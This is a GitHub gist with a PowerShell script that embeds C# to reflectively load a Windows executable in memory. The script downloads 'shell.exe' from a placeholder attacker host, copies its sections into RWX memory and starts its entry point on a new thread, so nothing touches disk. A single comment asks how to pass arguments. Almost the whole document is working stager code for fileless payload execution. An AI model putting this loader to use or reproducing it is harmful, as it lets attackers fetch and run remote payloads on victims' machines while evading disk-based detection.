Skip to content

Instantly share code, notes, and snippets.

@timsonner
Created March 12, 2025 02:29
Show Gist options
  • Select an option

  • Save timsonner/42f839adc6fd7add548ee1a9fddd6f05 to your computer and use it in GitHub Desktop.

Select an option

Save timsonner/42f839adc6fd7add548ee1a9fddd6f05 to your computer and use it in GitHub Desktop.
Load an executable into memory without touching disk using PowerShell to reflectively load a c# type
# Reflectively load a PE file
$code = @"
using System;
using System.Runtime.InteropServices;
using System.IO;
public class PELoader
{
[DllImport("kernel32.dll", SetLastError = true)]
private static extern IntPtr GetCurrentProcess();
[DllImport("kernel32.dll", SetLastError = true)]
private static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);
[DllImport("kernel32.dll", SetLastError = true)]
private static extern bool VirtualProtect(IntPtr lpAddress, uint dwSize, uint flNewProtect, out uint lpflOldProtect);
[DllImport("kernel32.dll", SetLastError = true)]
private static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, out uint lpThreadId);
[DllImport("kernel32.dll", SetLastError = true)]
private static extern uint WaitForSingleObject(IntPtr hHandle, uint dwMilliseconds);
[DllImport("kernel32.dll", CharSet = CharSet.Auto)]
private static extern IntPtr GetModuleHandle(string lpModuleName);
[DllImport("kernel32", CharSet = CharSet.Ansi, SetLastError = true)]
private static extern IntPtr GetProcAddress(IntPtr hModule, string procName);
// Constants
private const uint MEM_COMMIT = 0x1000;
private const uint MEM_RESERVE = 0x2000;
private const uint PAGE_EXECUTE_READWRITE = 0x40;
private const uint PAGE_READWRITE = 0x04;
public static void LoadAndExecute(byte[] peBytes)
{
// Parse PE headers
int e_lfanew = BitConverter.ToInt32(peBytes, 0x3C);
ushort numberOfSections = BitConverter.ToUInt16(peBytes, e_lfanew + 6);
ushort optionalHeaderSize = BitConverter.ToUInt16(peBytes, e_lfanew + 20);
uint imageBase = BitConverter.ToUInt32(peBytes, e_lfanew + 24 + 28);
uint sectionAlignment = BitConverter.ToUInt32(peBytes, e_lfanew + 24 + 32);
uint fileAlignment = BitConverter.ToUInt32(peBytes, e_lfanew + 24 + 36);
uint sizeOfImage = BitConverter.ToUInt32(peBytes, e_lfanew + 24 + 56);
uint sizeOfHeaders = BitConverter.ToUInt32(peBytes, e_lfanew + 24 + 60);
uint entryPoint = BitConverter.ToUInt32(peBytes, e_lfanew + 24 + 16);
// Allocate memory for the image
IntPtr codeBase = VirtualAlloc(IntPtr.Zero, sizeOfImage, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
// Copy headers
Marshal.Copy(peBytes, 0, codeBase, (int)sizeOfHeaders);
// Copy sections
int sectionHeadersOffset = e_lfanew + 24 + optionalHeaderSize;
for (int i = 0; i < numberOfSections; i++)
{
int sectionOffset = sectionHeadersOffset + (40 * i);
uint virtualAddress = BitConverter.ToUInt32(peBytes, sectionOffset + 12);
uint sizeOfRawData = BitConverter.ToUInt32(peBytes, sectionOffset + 16);
uint pointerToRawData = BitConverter.ToUInt32(peBytes, sectionOffset + 20);
if (sizeOfRawData > 0)
{
byte[] sectionData = new byte[sizeOfRawData];
Array.Copy(peBytes, pointerToRawData, sectionData, 0, sizeOfRawData);
Marshal.Copy(sectionData, 0, new IntPtr(codeBase.ToInt64() + virtualAddress), (int)sizeOfRawData);
}
}
// Set memory protections
uint oldProtect;
VirtualProtect(codeBase, sizeOfImage, PAGE_EXECUTE_READWRITE, out oldProtect);
// Execute entry point
IntPtr entryPointAddr = new IntPtr(codeBase.ToInt64() + entryPoint);
uint threadId;
IntPtr hThread = CreateThread(IntPtr.Zero, 0, entryPointAddr, IntPtr.Zero, 0, out threadId);
// Wait for completion
WaitForSingleObject(hThread, 0xFFFFFFFF);
}
}
"@
# Add the C# type
Add-Type -TypeDefinition $code
# Download executable bytes
$url = "http://x.x.x.x:XXXX/shell.exe"
$exeBytes = (New-Object System.Net.WebClient).DownloadData($url)
# Execute in memory
try {
[PELoader]::LoadAndExecute($exeBytes)
} catch {
Write-Host "Error executing in memory: $_"
Write-Host $_.Exception.StackTrace
}
@zulfi0
Copy link

zulfi0 commented Nov 10, 2025

Is there any way to pass arguments for the pe ?

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment